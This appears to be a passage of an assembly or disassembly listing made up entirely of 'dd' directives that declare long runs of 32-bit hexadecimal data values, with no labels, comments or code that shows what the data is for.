		dd 0CB39BB02h, 4988E075h, 8570B630h, 561B3BE1h,	1123D100h
		dd 0B0155338h, 0E4D6800h, 9AAD8361h, 110C3AFh, 4BB82F8Dh
		dd 5A0FA89Ch, 20F056DAh, 2346052Bh, 9695000Ch, 601AD6F1h
		dd 447615D7h, 0ADC86518h, 169C40h, 0EE66C209h, 0D0562CFFh
		dd 0EF87F004h, 0C8C73783h, 53299D00h, 40163F2Bh, 84AD2615h
		dd 39C49500h, 0E802C164h, 88B68A00h, 4C11EE76h,	19160196h
		dd 0B5644443h, 0DF52F81Ch, 0EDF6BB0Fh, 30A46D0h, 0CFF200F0h
		dd 9212700Eh, 0BF052F4Bh, 0FD6428F8h, 0E290A400h, 0EE23ECC4h
		dd 4A0A0044h, 0F8EB7C7Eh, 0FEB8952Ch, 2A95900h,	9460677h
		dd 0B3350254h, 6787454Eh, 0FA210460h, 0F87AE8C0h, 0A8B457h
		dd 0BF221EBAh, 2E600D43h, 0EC90D074h, 1219203Bh, 6C00B18Dh
		dd 7526AE69h, 94B4A83Fh, 0FB191F45h, 761FC0F1h,	0E5A87903h
		dd 908BD200h, 41B9343Dh, 590B009Bh, 0BBF12A4Bh,	10077A1h
		dd 726856D5h, 0E73338h,	49FFFEF3h, 856EADB5h, 5D01D600h
		dd 0DF6390E6h, 261C38A8h, 6B194980h, 68FD9F18h,	73C0B4Dh
		dd 21884350h, 2CD43A40h, 0DB3B0EEBh, 1CA0EFC4h,	5D679E6Bh
		dd 2CFC4Dh, 2ADED0A1h, 5EB80Dh,	0F0FA568Dh, 1D2A98Eh, 806BB23Ch
		dd 614EB404h, 3F0C8FBFh, 4981ED0Ah, 0C6C7BE75h,	6345D86Fh
		dd 0F659100h, 177B77D3h, 0A0EC07E8h, 202AC3E0h,	7ED6F248h
		dd 714C3898h, 0FA120034h, 45A48406h, 69F60Fh, 0D5139A1h
		dd 0B6E89798h, 43E293F6h, 0E500CEECh, 5D521841h, 4158C445h
		dd 0EC2021E3h, 0A0982DFCh, 0A589FE03h, 0EFEECD81h, 27B34700h
		dd 49361203h, 0FA244030h, 823E46ACh, 1AE3E400h,	64F2A456h
		dd 0CCD90071h, 62245154h, 6F90ED8Ch, 18E27E03h,	0B8672706h
		dd 0AFE035h, 0BE3C17F3h, 6B3B5DC6h, 148F4D00h, 4B81C894h
		dd 69FB0010h, 0E4487062h, 0BA1F9DDCh, 0D7802D7Dh, 410E4F79h
		dd 4E9A00E9h, 9D49187h,	59005776h, 18D54922h, 7D9AB1Bh
		dd 0F25DB839h, 80753BDFh, 0A7B54D00h, 7A9E03E4h, 0F8C2D9DEh
		dd 0A5A450C0h, 1B9B7B00h, 89B1EEDCh, 425126C4h,	60638054h
		dd 8F586BF3h, 1B7C5200h, 0BAC4F59Fh, 0B4BC0006h, 94CC3A98h
		dd 5000C56Bh, 1529DBCDh, 2BDE4h, 855EA67Dh, 0D2F8F3F2h
		dd 32D0AD1Ch, 6B3E8780h, 6E90F7h, 3D9515C0h, 5122F4E1h
		dd 647EB400h, 3B05AAFBh, 1061E724h, 9181A6E9h, 58C0F6E4h
		dd 0C30C308Dh, 2FAFF500h, 88E9C9F2h, 0F6D35C7Eh, 132D1724h
		dd 54C800C6h, 0ADDB700Bh, 0C048h, 860E9C76h, 0F506305h
		dd 0DAD65609h, 6821F0FDh, 24004E6Fh, 0BAB19A17h, 7211AEh
		dd 0AC30FD9h, 2EEAFD55h, 4505FA0Eh, 0C6A080F0h,	39C7C089h
		dd 0D8005CE2h, 14A6488Dh, 5A00ABEDh, 380B2251h,	0FA36280h
		dd 0A0D102A8h, 0D8121CE0h, 0FC00175Fh, 0E9BAD7F8h, 1D277BDEh
		dd 19CBD4h, 9670FB61h, 903F46ABh, 0A8B980E8h, 0A5B2374Ah
		dd 5E650901h, 1CA0577Dh, 9A6D9FD4h, 5AAA2C00h, 0E447774Bh
		dd 0BBA0048h, 0B0E6F2B1h, 0CB1CD239h, 0B889FAC2h, 0E8F3805Bh
		dd 1FCDA214h, 0C0F0241Bh, 0BDA78B4Bh, 0B51FC0CFh, 5281C587h
		dd 0D15A30D2h, 4F50C0h,	0AF7333D6h, 0C1E109B0h,	1605117Ah
		dd 0CBB2816Ch, 96F0FC87h, 7063F70Eh, 4F38015Fh,	0D6DF1DAAh
		dd 8CF970ACh, 9B613Eh, 0A83CD79Fh, 30CEF7h, 0B39C37EFh
		dd 0D8E0EABDh, 8E24843Bh, 401309BCh, 0E256CD45h, 0C097006Dh
		dd 57A36975h, 0D01E7D0Dh, 505C1A4Ch, 843021C0h,	17BAEA06h
		dd 0C686A6h, 5208B4A0h,	2300435Eh, 0EC03E6F5h, 0F8CE98B8h
		dd 83840079h, 3A0B65C8h, 0D2240AC7h, 239E0C07h,	0E2879BC0h
		dd 1E755F02h, 0C21C2898h, 5CCE2118h, 9ED29860h,	7EE5A900h
		dd 0C7C58861h, 584A48E1h, 3C71931Fh, 11786A19h,	0F5D1E079h
		dd 0F8773300h, 50D246EBh, 8C60055h, 4E7D60A5h, 0D7008B11h
		dd 0A1A8DAAEh, 0CE914D40h, 43FE7E38h, 0B4684F08h, 84F85173h
		dd 0D7E979D9h, 92A869E0h, 8D291C98h, 0C13F8022h, 0D68872E6h
		dd 316A6C06h, 24300286h, 0B27D89h, 3008FAA2h, 3BE8B2EAh
		dd 34A047ECh, 6B01F873h, 0F0D93D5Bh, 80CCBBFFh,	20BD03EDh
		dd 5D8B6C88h, 0B2460188h, 3D48C60Eh, 0EF5AC0D4h, 1C3E2F3Ah
		dd 403B8E22h, 1EE1407Eh, 56E096D3h, 0BB079BF0h,	0F269F671h
		dd 43ABEC00h, 0DEB200BEh, 6F7B48F0h, 41244F21h,	8F3C6C40h
		dd 81C41887h, 0C97F4A4h, 0E09962F0h, 0A525007Dh, 4BC0A6DFh
		dd 8007A58h, 3637A418h,	9B7C09h, 972759C1h, 74CFD389h
		dd 0F67DB700h, 0D62FA78Eh, 0FF6700A3h, 724694C1h, 6E2872Ah
		dd 54D71700h, 2B900D80h, 3848008Ch, 73B1FD91h, 0A9003036h
		dd 119ED83Eh, 0F6044740h, 6F3C1FE5h, 0F8B5ED0h,	0BE9666h
		dd 5BA80C8h, 0EF0031D6h, 44E74D71h, 149F6543h, 0B4F103BBh
		dd 0B8124B15h, 0A0EFEA00h, 9E079D13h, 7FC4CC03h, 384A9ABAh
		dd 0FF409338h, 8B380C44h, 4F291588h, 0E45DCF00h, 93D0107Ah
		dd 66AC0358h, 1C6C2FC0h, 654EB9F8h, 0D00317Ah, 3CA5B6B2h
		dd 0D309C405h, 6780310h, 6100C6CCh, 3A4ABC29h, 90087240h
		dd 9C73A40h, 24008E25h,	574AD5FBh, 94E655E8h, 0F8AEDC06h
		dd 5841C4C9h, 8100C608h, 0F0DC525h, 0D960D414h,	0CBB6E6C0h
		dd 4A3400F5h, 80E8C85Fh, 3100B911h, 19CA26D4h, 5885D04h
		dd 2D2054E4h
		dd 0E3EC322h, 7614BC80h, 0AE567D00h, 0A92351D5h, 0FA8F0E52h
		dd 0F4A0D07Ah, 45998561h, 96000974h, 8B3A9B48h,	1F4A0D2Dh
		dd 43CF5DEBh, 71DB4C5Ah, 0F49B6FA0h, 47DFDD00h,	4E2C7696h
		dd 87ED050Dh, 0C01FE245h, 9822C35Dh, 0E9D9F900h, 0AD70CAD5h
		dd 0DBC800D7h, 0AC25ED3Dh, 987871D1h, 26003570h, 0CB631B5Ch
		dd 28BD35Eh, 341AC822h,	2FC0C62Bh, 5DF8AEC5h, 99C3CB07h
		dd 53D0D5BEh, 327EE64h,	4ACC915h, 0F4A81B98h, 0FF03C7F6h
		dd 0CF47DE5Dh, 6B380378h, 0B8A20E65h, 0DF0049A6h, 377A5410h
		dd 982CBA62h, 73B00060h, 600B3C59h, 8B06511Dh, 5DD165A0h
		dd 18C37499h, 115917ECh, 210E69FDh, 273AE48Ah, 86CDCD7h
		dd 721C011h, 0BD512171h, 0C1E8BF03h, 0C08FE136h, 3083A273h
		dd 0CEF81334h, 9260F188h, 0A05E45B0h, 40CA603Ch, 127FAB5Dh
		dd 820698EAh, 9A403877h, 217E6008h, 9712F780h, 90DE7106h
		dd 191944h, 0DB899270h,	4767EBCh, 0B148CE07h, 0CF10DED1h
		dd 6F0823E8h, 3DDE71E3h, 0A2100A30h, 48001F1Eh,	52E19B07h
		dd 9876B63Ah, 7C6C0084h, 92818BF6h, 75039D3Bh, 0E486B127h
		dd 3D08F86Dh, 0F83A0EF7h, 1440F560h, 0D4533E37h, 6D282400h
		dd 1F026679h, 82D5004Bh, 4877D6BCh, 9300C0A2h, 0A3B7F820h
		dd 0FC3E6D8h, 539DFDB9h, 83743D40h, 9000AC64h, 54AFD5DBh
		dd 3027D8F1h, 7229DFE6h, 44ECA4ABh, 9F941D00h, 0E809AAEDh
		dd 0F5B40060h, 792BC326h, 0D76E7759h, 0FC1D1E30h, 6A31E800h
		dd 1847F816h, 51C5E7D6h, 7D07DC89h, 5E27C606h, 84A36B90h
		dd 60210796h, 0C02E09DDh, 0C5F346ACh, 7683B200h, 933C2479h
		dd 0B8137FB7h, 142B06C6h, 682150E0h, 5629B900h,	627869DCh
		dd 359A000Bh, 66A52C2Eh, 0B730AE37h, 310D3810h,	511E3D7Ah
		dd 0A10FED44h, 0C06BA599h, 0F119B242h, 38600C1h, 416A3024h
		dd 0A10167F5h, 0BD60F6D9h, 31D19C0Ch, 8C68E180h, 0F37E223h
		dd 0B07AA31Eh, 2ABFEEC0h, 60E2022h, 5A1AA135h, 75032072h
		dd 0F3D46C80h, 4122C17Ah, 2CFFD0h, 45F2AE93h, 8D5617E3h
		dd 0CD0EA67Dh, 0C0595A60h, 0D5891B2Ah, 55500ECh, 5B75D2DDh
		dd 0F9021381h, 9A93689Ch, 0F8B4E18Eh, 0BE9E4081h, 0F48C03C1h
		dd 793E5FD0h, 13650C94h, 446192h, 8083641Ah, 312E5509h
		dd 0ED68D600h, 92670A66h, 5D28C095h, 0B14989Fh,	81353103h
		dd 3F9E26A3h, 0EB011270h, 562EB54Ch, 0B296C41Eh, 0C6712D00h
		dd 4044536Ch, 18EF803h,	0D7C7935Fh, 9D8D0E66h, 9802458h
		dd 0D02E6F91h, 3797549h, 0C7701669h, 9BC80BB5h,	0AF063BE8h
		dd 109DC568h, 60C00CC8h, 0E6C1D845h, 801F6F38h,	4F6E5384h
		dd 7AB1B8DAh, 0EF3C05D7h, 7E0179h, 596613A3h, 8E0032C3h
		dd 0BFD71E50h, 0F012AEC8h, 0E99E6045h, 5578168Ch, 0FC66A0C6h
		dd 0FF4F00A9h, 9F74D13h, 6E00AC4Eh, 214CC5DFh, 53B59Ch
		dd 520B7BA2h, 97F7A6Bh,	6FC46718h, 713E5050h, 0A4690040h
		dd 0E8FBA29Bh, 0F0E0E76h, 809CC4B5h, 0C939BCCEh, 0AD310101h
		dd 16FA62ABh, 0A8088DC3h, 0D1CC20F8h, 0F410001h, 0C09F099Eh
		dd 9600C127h, 9B4C29B3h, 0CD5B17h, 54833B76h, 50390FFh
		dd 1DB3318h, 0CEBDA418h, 0A82A0F48h, 1CA403Ch, 0B346AD30h
		dd 1F97A10h, 0F501D2F3h, 0D3D495BDh, 7DC400C6h,	0B3D066DAh
		dd 2F01C79Bh, 0C9372164h, 0FBE0A579h, 2078F1h, 57173C41h
		dd 99BCB8F9h, 0FFA570C1h, 208211C2h, 308B8829h,	2221700h
		dd 7E277CECh, 3CE73067h, 289BA218h, 4757681Bh, 0A5D6B910h
		dd 0A72BD8h, 2F659004h,	87CB48C7h, 4B09ED00h, 0D3A0BAE8h
		dd 63600031h, 0EC5ACC13h, 0B0000BE3h, 58A1B666h, 0A71F0h
		dd 630C40F6h, 0A3F49192h, 1E03F7E0h, 0E72C2AFFh, 9740DF69h
		dd 1937C20h, 5F0CD9CAh,	9F13FC63h, 20B07F09h, 1FCACFDCh
		dd 0C5567E45h, 0C2336F21h, 3E0381Ch, 9801E115h,	0F6683F89h
		dd 0FACC2774h, 1C1E0333h, 0B5CA9742h, 0C096978h, 803F5E41h
		dd 0B7901A9Fh, 611F7449h, 996E2155h, 0F8567063h, 6A00CD78h
		dd 0D20B749Fh, 6DDADE6h, 5D79B629h, 1C63C8FFh, 9BAB59h
		dd 0F5326F41h, 8394A8D7h, 8E1B480Ch, 8D2822h, 0B6E8677Eh
		dd 89A56AB1h, 1806E639h, 0C049241Fh, 0A2E9009Ch, 8C644A88h
		dd 8CC519Dh, 3DD21B4h, 0F569E9A4h, 0F0F84FA6h, 5E0CAEFBh
		dd 801FE065h, 38D0F7DEh, 21BE008Ah, 0E7CC39E4h,	5D00B474h
		dd 30044187h, 589ED3FEh, 0D060051Bh, 0B9862095h, 77808874h
		dd 1D17B72h, 4696AF4h, 0D071BF0Ch, 20C01D13h, 6DD2C549h
		dd 982B14F4h, 5800848Fh, 47179741h, 220073E6h, 0ECCD23F6h
		dd 7DB08880h, 3DFB03C9h, 0EB40960h, 0A23B83A0h,	771C9900h
		dd 781FA370h, 4CAA0018h, 0EB6367E9h, 0D600DC26h, 0E5F5F4AFh
		dd 0E0BAEEh, 9EC3B7A2h,	7CCD5328h, 73F33658h, 84F04B00h
		dd 853046E3h, 25420365h, 0B43BF531h, 30185F89h,	0AE1F2AB8h
		dd 981D34C9h, 0A97BC040h, 553C96h, 0E42C4714h, 0B7108BCAh
		dd 0AA5A5Ch, 66AD92DAh,	39C5BFh, 575E5D41h, 0C1CF4F20h
		dd 5F01900h, 0A56E72ADh, 237400BFh, 94C22ABh, 0DB00811Bh
		dd 0EC859796h, 0C84ED0h, 33CC72F6h, 0FF2692B2h,	0A8005798h
		dd 0E5309061h, 6B8D06h,	1E0E0532h, 2F891329h, 5387DE00h
		dd 0EF85F91Fh, 94E500EAh, 8D23CF97h, 0DD0E42E7h, 41D4D20Ch
		dd 7B454C30h, 903A1EC4h, 0F2517085h, 4B8300CBh,	6D9071CEh
		dd 750080B6h, 32AA6B5Ch, 0FE63322h, 7915A666h, 0D8AC403h
		dd 7BBA397h, 701F0ED9h,	60005764h, 2A37A1F1h, 3179FBh
		dd 162982EAh, 0CA4FE4Ch, 3F00E479h, 0B26A575Dh,	382FE059h
		dd 0B1808754h, 75F9588Eh, 937CBF3Ch, 77EA8450h,	1AAEB701h
		dd 6DF7A0D3h, 0A2D887F2h, 0D9ADDC70h, 0C7B0061h, 7D48B960h
		dd 0FB2674F4h, 0E605B28Eh, 80BFA026h, 6A97640Ch, 0CA249B00h
		dd 8B8E9183h, 0B1760B65h, 8600A4DFh, 0BDB07B56h, 826EC000h
		dd 9D26A89Fh, 5BD73E49h, 7D42A300h, 29FE847Eh, 134C8D03h
		dd 3BF108h, 28188C90h, 867AEF92h, 2BD1EB00h, 8E23EDDFh
		dd 55A30711h, 0E0C59C44h, 7C3D72F2h, 27880960h,	0DE8E79h
		dd 7ED842BCh, 8196E6B5h, 905B800h, 18A3BB08h, 4B270184h
		dd 38DB4D80h, 0BDF6FCA7h, 3B07867Ah, 0DDE81DDh,	0D3EAE550h
		dd 35CC005Dh, 52C0F216h, 0F50083B8h, 811FFCCBh,	5A32A5h
		dd 1975138Fh, 9788AB1h,	0D2AF0500h, 0D133DDC4h,	26200069h
		dd 0BD73FDB6h, 0F00CB13h, 0A96B94F8h, 0F0314021h, 74070091h
		dd 12F9D24Ch, 6000655Fh, 0A5E69748h, 0E78B6Dh, 8420D372h
		dd 7930DA29h, 606FBF0Fh, 8C8D8366h, 0D1D0BF89h,	0F711CDh
		dd 4AEB492Fh, 3ABDAB13h, 8E9A8A0h, 95B42403h, 874B8C1Ah
		dd 0F7902DE7h, 0E10CC4h, 0C6C0EC01h, 756C2FF0h,	0B14DCF00h
		dd 0EEF1AEB0h, 197A006Eh, 5992E8D5h, 0DD000376h, 4DE0E277h
		dd 7EF398B7h, 2520008Ch, 7149A848h, 0D012D54h, 23B40805h
		dd 0EC40EB1Bh, 0FDC473h, 8B813A22h, 0BAD37DC0h,	4AA3D00h
		dd 6FD5AD9Fh, 0E7900D1h, 5BF49ED0h, 2C00FDC9h, 38EEC8F3h
		dd 5482850h, 0BFD365F2h, 0AB248087h, 0E000A77Fh, 519FBD33h
		dd 0BE3AAAh, 32F0DA6Eh,	48350D58h, 0F245B600h, 3E28A1ADh
		dd 4F0C02E9h, 39620B13h, 0CD6D9080h, 0DA007F15h, 120321ADh
		dd 7456366h, 8956C29Ch,	0DB1DF018h, 75006EFAh, 0C4D5543Eh
		dd 5BC3FFh, 211C6B69h
		dd 9A0C91D1h, 7D2AB100h, 0E58BF24Bh, 0C91000EDh, 6452AA2Fh
		dd 920070DFh, 63910DD2h, 4CD0355h, 0D55E9499h, 931C92C0h
		dd 4354F60h, 803EA77h, 0BFCFF9F0h, 0D93CD0E3h, 0BB690E7Bh
		dd 0AC421E6Ah, 8C605184h, 53006E75h, 0D1830C3Dh, 2C4CA7F0h
		dd 1DD431CAh, 0A8C1C2C2h, 6E630523h, 3B5E6600h,	0D7D6E757h
		dd 539D034Ah, 0DC2AEE04h, 73C38BE0h, 67250600h,	355C0D94h
		dd 0AE7F26h, 0D95BB57Bh, 5A4CF0Bh, 5E006CE8h, 2114B481h
		dd 70FF4Eh, 40FE1EDEh, 18977722h, 9BD08200h, 0ED9EE874h
		dd 2CCD3B36h, 5C6BA587h, 0C8FB12DBh, 5F651040h,	0C860F628h
		dd 743F7DFEh, 0BE478052h, 63D30A1Ch, 5C352CC9h,	0A68E8010h
		dd 0A3799290h, 80113638h, 244A80CAh, 6EF4CFh, 56D531CCh
		dd 19F8AFFFh, 808E463Ch, 25810F70h, 162F9F43h, 277CB3h
		dd 306FF550h, 750072F8h, 61E5A520h, 21BF19h, 0CC1E0F34h
		dd 11640908h, 6A9A5707h, 80FB8B97h, 28FE54B0h, 2CDD0096h
		dd 0B5171F99h, 43BFA8Dh, 5840337h, 0F04F03CAh, 474916h
		dd 3AB8DC08h, 0F04556C5h, 2802972Eh, 6F854605h,	642F9C80h
		dd 3A2C0B77h, 817F7313h, 9BA3C166h, 2320F7D9h, 7F6E8h
		dd 0FC5F6C05h, 0D9AE8E37h, 0A2EED814h, 0E7200AAh, 0EDCDCFC2h
		dd 0A6DE0062h, 8648CE6Ah, 0C3746965h, 980782FAh, 59B17EB9h
		dd 8D50B857h, 0D44B7Ch,	0FAAA1547h, 37DDAB5Ch, 9C3E5900h
		dd 4AAD9D11h, 4E891FA6h, 0EEC501F2h, 51A108FAh,	0F01727C0h
		dd 602E89Eh, 0AE786942h, 48007757h, 8C2829D7h, 302D5226h
		dd 85EEE301h, 6F205D44h, 0F837077Bh, 90A90AA7h,	0DA47360Ch
		dd 0AE779000h, 0B7FCF15Ch, 0E0FD091Bh, 0C208752h, 492DB9C9h
		dd 0B55FD500h, 0AAC84FABh, 69FF099Eh, 0A100CC31h, 951460D6h
		dd 508BBC00h, 3C91DAE5h, 65DB0411h, 0C0253B6Eh,	13FB14CCh
		dd 8BC59D00h, 43456429h, 885200DBh, 0A1CA80BFh,	5E393819h
		dd 0C6B701AFh, 0A2D4C149h, 0E368D0h, 0D0480ECAh, 2D912E3Ch
		dd 0A8955800h, 11B21EEBh, 46CE3849h, 0C2F2558Bh, 27B32010h
		dd 0F19BA100h, 13E63EC5h, 2B7E0176h, 61F9E5A2h,	3475ECFAh
		dd 25D7E00Bh, 3B9C80D0h, 642651h, 0EED815Fh, 0C4AEDC3Ah
		dd 46072405h, 0DC803984h, 2DB545h, 74FA01B0h, 0B467532Ch
		dd 986EAA04h, 0BB8365A6h, 0C442B0E6h, 21EA43h, 3E108C5Fh
		dd 701D5A16h, 71CC8830h, 1F10AA0h, 199523E2h, 834506C2h
		dd 5135B618h, 7C89ABC7h, 5F011h, 67BE93D6h, 6507ED77h
		dd 0F700AF7Fh, 0FD44E9E0h, 0AC9C0Bh, 0D1289DA5h, 0F7FE3D6h
		dd 0CB4D7018h, 3C95B671h, 8801C651h, 7AD61DF1h,	0E08820EFh
		dd 5367F700h, 7B3F03ABh, 0A0C8EC88h, 0F6458CD7h, 17A8F225h
		dd 4CF7F2ADh, 0E9C87420h, 62EB5F00h, 26BDA0FFh,	41F4EBFEh
		dd 0C91E0057h, 0E4330EB7h, 5400F065h, 6222E756h, 36255Bh
		dd 474F3DDEh, 14114421h, 0CAA93F1Fh, 6E708CC0h,	0BD7E6Ah
		dd 0A008DCC4h, 8DBB99AAh, 0B0CFBE07h, 0A01ECC53h, 9E451D67h
		dd 1E6E0397h, 0CA59380Ah, 0F1A0F49Bh, 350063CCh, 23E0715Fh
		dd 5B9BD2h, 8AFB546Eh, 6BCD581Ch, 0A392CB1Eh, 32700B00h
		dd 5D2437h, 735AFC2h, 0D0ED8F10h, 5BD96C00h, 8E4D91FFh
		dd 0FA760064h, 0C1EBE319h, 232E212Fh, 5B8EF048h, 0E2536246h
		dd 0E0B0860Bh, 80B44D09h, 0F0FEFB1Ch, 0B8E376F2h, 0F3BB1D00h
		dd 0F1D4C92Ch, 2E21D9Fh, 254A4003h, 0B22674E0h,	1A69E164h
		dd 16986363h, 638CC3E7h, 5B222158h, 5E08ED98h, 0A441C100h
		dd 6430F6E4h, 0A17618D4h, 39B790AAh, 0F40C5A15h, 745500E8h
		dd 0CD88C7EFh, 52280EABh, 0A786AA05h, 5E00203Fh, 7030EF16h
		dd 0EC82D5C7h, 0E0A1038Ah, 76D30E88h, 953EC6E8h, 89620835h
		dd 10E83803h, 7878063Ah, 2047226Ch, 0BB34F106h,	292042h
		dd 0C3121F8Fh, 4B5785B6h, 5175AE1Dh, 65211B18h,	0FD120B26h
		dd 28900CFEh, 5500ED03h, 97918EBFh, 14A1DDEh, 0F04E40EFh
		dd 71B248AAh, 2F41809Dh, 9A3C5A1Bh, 0B0F75060h,	30B0F887h
		dd 91213256h, 4700885Ah, 0CA66CFDFh, 0E865B7A7h, 226888DBh
		dd 0DE408800h, 167018B8h, 0AC87CC6h, 7A0A6E32h,	0EE803AD4h
		dd 0B793A109h, 8507E9B3h, 1C0420C6h, 0E74FF0F0h, 7BC90014h
		dd 9E5D130Bh, 0D600F5E4h, 0BFA24B1Ah, 48EC3018h, 3600BAF1h
		dd 56378F75h, 0FA009A87h, 0D48476A6h, 0C0520Dh,	5F4C8CE1h
		dd 0A8B7381Dh, 0B83C8202h, 5750234Eh, 0F9C8E7C0h, 40C16D00h
		dd 0C928C2DFh, 2043602Dh, 0A4F12221h, 0D84DA500h, 5D06E72Fh
		dd 48384034h, 2847C430h, 0C02030B8h, 0C621B350h, 8803416Ch
		dd 6E0F06C9h, 0C069C936h, 20BA24C0h, 0D63BA0E6h, 0AD5C86DAh
		dd 371AEC8h, 617848FBh,	29B93DEBh, 834BF89Bh, 0C1BFD400h
		dd 0EC57B6B9h, 37600E36h, 38382C65h, 0C9005E8Eh, 3263FB2Bh
		dd 20A338h, 0E7C20C1Bh,	35D63474h, 37EB860Eh, 2F0132EAh
		dd 0AC29B002h, 0F8FA12D0h, 0C0500C2h, 795E754Eh, 18D38F11h
		dd 3B252D00h, 1886187Ah, 0A90BD022h, 166FB4A5h,	44EB0AF0h
		dd 0F5EFF800h, 7EA03A49h, 51C900C7h, 0F024F1A4h, 2F4C43Ch
		dd 7E508400h, 6F4DEEABh, 28A20159h, 2246FACBh, 5DA3F352h
		dd 8768190Ch, 0FEDC5821h, 61FA00B0h, 47856DE0h,	813D63B9h
		dd 96AB00F7h, 2350A919h, 989F2A49h, 88121BC4h, 0B7E3A054h
		dd 491596E0h, 0B2602A7Eh, 129870B9h, 6FFF0161h,	0FD63C84Dh
		dd 0B9A9F8DDh, 4060E825h, 996DCCh, 0D3297628h, 55389B56h
		dd 7AC13500h, 0F75FEA10h, 0C2F90CEh, 0C4BF57B9h, 7500AB18h
		dd 6C792CA3h, 1E7F9D48h, 80F0CC47h, 24D6FF7Ch, 3D0F49C1h
		dd 87CDF503h, 0B3E00C8Ah, 0A6337EAh, 0D2A2B4CBh, 34DC8028h
		dd 37ED5511h, 0CA0A6800h, 3071BBF4h, 3FA7C48h, 0E18935C8h
		dd 57C8D6A3h, 223C1604h, 7936376Ah, 0C00656C0h,	0F6E2184Eh
		dd 0A2D558ACh, 0D344B503h, 80F36BB3h, 79EF389Fh, 28A0387h
		dd 0F57E6C1Dh, 20E21799h, 7100AD2Ah, 0F4A2687Dh, 1EED22h
		dd 31C57F6Dh, 0E4849A7Eh, 901DAD01h, 0F5FAE6EBh, 2A38A8C4h
		dd 0C98235Bh, 0E183C85h, 17677B80h, 0E1C3F989h,	0C011C0E2h
		dd 4CB11EFAh, 39091B5Bh, 20BC4B80h, 37A47000h, 8367451Ch
		dd 785730BEh, 0A211320h, 99045A00h, 0BD8A37A6h,	26EA68h
		dd 1C3EC201h, 0E40712E7h, 3606ED00h, 46B4E06Ah,	8F510068h
		dd 0B201028Bh, 42002544h, 0FE43118Ah, 0C63FFFB3h, 2003D308h
		dd 80D2643Eh, 2512A169h, 9731C9h, 0DEC5FD1Fh, 0FB7284A6h
		dd 0DA3EF5F8h, 0AAAF0E98h, 81778FC1h, 0A4A8239Ah, 6F4501D4h
		dd 880E511Eh, 0DF9EB060h, 290E1486h, 8613DE81h,	200385h
		dd 0E9E84947h, 0FE54D883h, 7F1C1601h, 566010D1h, 1C733F8h
		dd 62E9D5B4h, 0BA682E13h, 0C85C59h, 6974FD9Ch, 0C108D3Eh
		dd 5BA1AB23h, 140F07A8h, 9F92867Eh, 2AD3A443h, 138007Bh
		dd 0BC1DF412h, 0A30702FAh, 54EA351Eh, 221BF46h,	16199D71h
		dd 0BB80907Ch, 0B880F956h, 43F6A8A8h, 98A4E930h, 32BC2A9h
		dd 0E2663062h, 6E889184h, 3F3F0FEFh, 78BF06h, 57AD32E7h
		dd 7DE15Ch, 0D01A21DDh,	4A9238CBh, 90006D7Bh, 0BC03EA29h
		dd 3E94ED65h, 15175DD8h, 9C80AE1Fh, 7F3922h, 90AC0F34h
		dd 0EE780A80h, 59CA5B00h, 0AEA19A13h, 0E29E812h, 8688B0A2h
		dd 4E1BD700h, 0F6F4E4D5h, 62FA7A00h, 4FDD1F20h,	1831B845h
		dd 40657830h, 0C1004229h
		dd 322EE782h, 2CD10Eh, 3F5C1F77h, 64DD551h, 31AB5900h
		dd 2819D9EFh, 83C90062h, 0F386932h, 7B0E2C90h, 0C06C4CCFh
		dd 41A2FB55h, 0EBDA30B2h, 94234960h, 0EADE8800h, 0F720984h
		dd 17D501A4h, 45D1463Ch, 3DD0D38Eh, 970FEE92h, 6547AAAh
		dd 117B85h, 4917F291h, 46DED9EAh, 9D278814h, 0D3F0009Ch
		dd 0A2E3B16Eh, 0D1576778h, 0CCDFD086h, 7C007BA4h, 2C3E3A9Dh
		dd 3FDA51C4h, 28E031A8h, 0ACFF87B3h, 30956800h,	40D7F4ABh
		dd 0FA900A3h, 0E5834582h, 68C09B77h, 3DCEE113h,	0F50C0053h
		dd 94C40D73h, 7100C7BFh, 0FB023060h, 0E1FAB0Eh,	0DC9342CEh
		dd 0FCB6EF20h, 0E3F61E9Dh, 270FD000h, 55EA4BBFh, 22AA4849h
		dd 0C6DA2101h, 0D72A062Fh, 8B30D2E8h, 0E256350Eh, 0F7A9807Dh
		dd 76E5BDDCh, 0B4220E39h, 578040EEh, 7E272E5Ah,	35DADD00h
		dd 15DED320h, 18C6F07Fh, 50493E77h, 64E8D7ECh, 80C0707Ch
		dd 0BF76AB61h, 0AF833848h, 5313D801h, 9791C2E0h, 8D017E20h
		dd 5A39B82Eh, 0B233C0h,	99EA70C0h, 37456929h, 0B137417Eh
		dd 9C06006h, 16A8807h, 0A25CC03Dh, 0EC4B4F12h, 0BC00A3CFh
		dd 5385BE5h, 0A6AB63h, 78370FBh, 5CDE917Ah, 492E6863h
		dd 0FB803DDh, 2DF4FEC0h, 884Ch,	31DBFB33h, 0C0DA141Ah
		dd 1BF36FA0h, 46009BFEh, 0DD6C0A6h, 864AEAh, 3E2AB9D0h
		dd 12BD955Ch, 94070E7Dh, 0D4363346h, 35029600h,	60C7F658h
		dd 1F9E08B6h, 0F500D1BEh, 62427D1Bh, 780E75B7h,	815807F0h
		dd 848E573Dh, 474BC133h, 0FC0EFC7h, 8D7C9C8Ah, 0F0D9E38h
		dd 0A02F6A02h, 0A57D44C3h, 0D76738EDh, 48332180h, 0B337517Fh
		dd 24BA9307h, 90930338h, 0E09C8B84h, 1EF18AE2h,	804043B0h
		dd 55D058BDh, 7D001F59h, 0C8B1DE0Dh, 1AC2E95h, 0AF0821A6h
		dd 0E82B30B2h, 9428C566h, 2C8E4CB3h, 2205D918h,	67F09E48h
		dd 8FC7F166h, 0F0D830ADh, 0E8FD0A90h, 3406233Fh, 9BFBD37h
		dd 0D47D0528h, 0ADFBEA0h, 40988388h, 1C78A548h,	2434E38h
		dd 92C70357h, 569440FCh, 0BD0B0062h, 4B5F8C71h,	0D70054B5h
		dd 32EAAEA6h, 728D0AD9h, 263D029Eh, 24A13148h, 14912491h
		dd 4308C7FFh, 0E4D002F0h, 0B0C6546Dh, 98B936C6h, 65B501C7h
		dd 5AEA02BFh, 0A619803Bh, 452E3720h, 332C00D4h,	0FF5EDD98h
		dd 0DCF26431h, 9B58FD00h, 0D9E73A4Ch, 383C61ABh, 0D38690AFh
		dd 1E6DF900h, 39D0F914h, 3E5800FCh, 62B6D8A4h, 1901AD51h
		dd 6126F004h, 10EC72BDh, 0EFC0A00Ah, 9FED0086h,	9AC68B40h
		dd 0AA00823Eh, 75EAC999h, 7E9B2302h, 0D2E51F20h, 1F9ED2A0h
		dd 5D571F22h, 0B007EE6h, 0EF729BF0h, 0D1C051B5h, 0DA61A51Fh
